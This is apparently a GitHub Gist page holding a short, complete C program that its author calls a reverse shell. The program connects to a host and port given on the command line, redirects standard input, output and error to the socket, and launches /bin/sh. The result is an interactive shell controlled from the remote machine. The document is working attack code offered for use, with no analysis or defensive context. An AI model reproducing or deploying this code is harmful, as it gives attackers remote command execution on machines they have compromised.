Skip to content

Instantly share code, notes, and snippets.

@DtxdF
Last active February 1, 2020 02:16
Show Gist options
  • Save DtxdF/dbc3b56f261648153e762493cc09795d to your computer and use it in GitHub Desktop.
Save DtxdF/dbc3b56f261648153e762493cc09795d to your computer and use it in GitHub Desktop.
An simple reverse shell script ;)
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]) {
struct sockaddr_in Client;
struct hostent * ht;
/* Shell values */
char * shell_args[2];
char * env[1];
char * host;
char * shell;
char * ptr;
unsigned short int port;
int fd;
if (argc < 3) {
fprintf(stderr, "The argumment number's is incorrect\n");
return EXIT_FAILURE;
}
host = argv[1];
port = strtol(argv[2], &ptr, 10);
shell = "/bin/sh";
shell_args[0] = "-1";
shell_args[1] = NULL;
env[0] = NULL;
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("Socket");
return EXIT_FAILURE;
}
if ((ht = gethostbyname(host)) == NULL) {
fprintf(stderr, "Gethostbyname: Error resolving the Host/IP\n");
return EXIT_FAILURE;
}
Client.sin_family = AF_INET;
inet_aton(inet_ntoa(*((struct in_addr *)ht->h_addr)), &Client.sin_addr);
Client.sin_port = htons(port);
memset(Client.sin_zero, 0, sizeof(Client.sin_zero));
if (connect(fd, (struct sockaddr *)&Client, sizeof(struct sockaddr)) == -1) {
perror("Connect");
return EXIT_FAILURE;
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
if (execve(shell, shell_args, env) == -1) {
perror("Execve");
}
close(fd);
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment